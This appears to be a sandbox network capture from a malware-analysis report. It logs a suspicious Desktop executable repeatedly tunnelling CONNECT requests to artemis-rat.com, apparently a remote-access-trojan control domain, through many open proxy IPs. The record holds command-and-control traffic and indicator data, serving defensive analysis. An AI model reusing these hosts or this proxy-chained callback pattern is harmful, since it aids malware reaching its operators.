Mar 11, 2024 03:30:42.735977888 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
851	192.168.2.5	52313	39.108.229.14	8002	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.918965101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.245106936 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
852	192.168.2.5	52321	220.248.70.237	9002	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.920027018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.249521017 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
853	192.168.2.5	51815	24.249.199.12	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.923384905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
854	192.168.2.5	52349	34.92.12.210	9238	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.933240891 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.249002934 CET	28	IN	HTTP/1.1 502 Bad Gateway

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
855	192.168.2.5	52362	119.28.60.64	8090	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.934093952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
856	192.168.2.5	52383	157.185.157.151	26589	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.948085070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
857	192.168.2.5	51825	129.213.150.205	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.960474968 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
858	192.168.2.5	52332	51.161.131.84	43712	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.043586969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
859	192.168.2.5	50593	103.97.179.115	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.048041105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
860	192.168.2.5	52379	174.77.111.198	49547	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.049576044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
861	192.168.2.5	50356	199.102.106.94	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.049643040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
862	192.168.2.5	52387	194.4.50.132	12334	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.052906990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
863	192.168.2.5	50075	37.52.50.28	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.053620100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
864	192.168.2.5	52354	45.139.11.200	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.054394007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.435652971 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.24.0 Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.24.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
865	192.168.2.5	52366	195.158.8.150	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.054955006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.905030966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.093163013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.499154091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.405226946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.202095032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.092756033 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
866	192.168.2.5	50103	159.223.71.71	51187	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.056318998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.092612028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.093044996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.202147007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
867	192.168.2.5	52381	5.196.111.30	20060	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.057544947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
868	192.168.2.5	51843	54.36.122.16	44587	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.060964108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.179678917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
869	192.168.2.5	52395	72.195.34.42	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.063137054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
870	192.168.2.5	52393	72.206.181.97	64943	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.063553095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
871	192.168.2.5	52394	174.64.199.79	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.063554049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
872	192.168.2.5	52399	70.166.167.38	57728	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.065232038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
873	192.168.2.5	52385	91.211.177.37	3629	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.067048073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
874	192.168.2.5	52384	176.123.56.58	3629	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.067955017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
875	192.168.2.5	52392	121.159.146.251	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.071816921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
876	192.168.2.5	52398	82.113.157.122	31280	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.081943989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.811079979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
877	192.168.2.5	52386	83.243.92.154	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.096415997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.904983997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
878	192.168.2.5	52397	58.234.116.197	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.098879099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
879	192.168.2.5	52493	61.130.9.38	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.112788916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
880	192.168.2.5	52495	61.130.9.38	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.113575935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
881	192.168.2.5	52498	61.130.9.38	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.114972115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
882	192.168.2.5	52388	103.83.232.122	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.115628004 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
883	192.168.2.5	52500	61.130.9.38	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
